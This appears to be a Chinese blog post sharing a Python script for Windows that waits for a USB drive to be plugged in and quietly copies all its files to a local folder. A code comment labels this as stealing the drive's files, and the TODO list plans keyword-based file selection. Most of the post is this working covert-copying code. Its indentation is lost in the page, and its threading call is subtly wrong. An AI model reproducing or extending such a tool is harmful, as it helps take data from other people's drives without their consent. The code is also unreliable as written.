python 复制u盘内文件

.

USBOperator.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import os
import time
from datetime import datetime
import shutil
import win32file

save_path = "D:/USB_disk_saved"

# 获取U盘盘符
def get_disk():
drives = []
sign = win32file.GetLogicalDrives()
drive_all = ["A:/", "B:/", "C:/", "D:/", "E:/", "F:/", "G:/", "H:/", "I:/",
"J:/", "K:/", "L:/", "M:/", "N:/", "O:/", "P:/", "Q:/", "R:/",
"S:/", "T:/", "U:/", "V:/", "W:/", "X:/", "Y:/", "Z:/"]
for i in range(25):
if (sign&1 << i):
if win32file.GetDriveType(drive_all[i]) == 2:
free_bytes, total_bytes, total_free_bytes = win32file.GetDiskFreeSpaceEx(drive_all[i])
if (total_bytes/1024/1024/1024) < 17:
drives.append(drive_all[i])
if drives:
return drives[0]
else:
return ""

# 窃取U盘内文件
def copy_files():

while (True):
usb_path = get_disk()
if usb_path != "":
print("开始复制!")
shutil.copytree(usb_path, os.path.join(save_path, datetime.now().strftime("%m%d_%H%M")))
print("复制成功!")
break
else:
time.sleep(10)

main.py

1
2
3
4
5
import USBOperator as uo
import threading as td

t1 = td.Thread(group=None, target=uo.copy_files())
t1.start()

TODO:
0.在复制过程中U盘被强行拔出报错
1.复制文件到U盘
2.忽略大文件
3.自动选择复制U盘中带有关键词的文件

学习资料:
https://blog.csdn.net/lileiyang12/article/details/16946093
https://baijiahao.baidu.com/s?id=1596745213332422667&wfr=spider&for=pc
https://www.cnblogs.com/liutongqing/p/7499033.html
https://www.cnblogs.com/tkqasn/p/5700281.html
https://blog.csdn.net/foolyc/article/details/29654649
https://blog.csdn.net/u012762054/article/details/64442531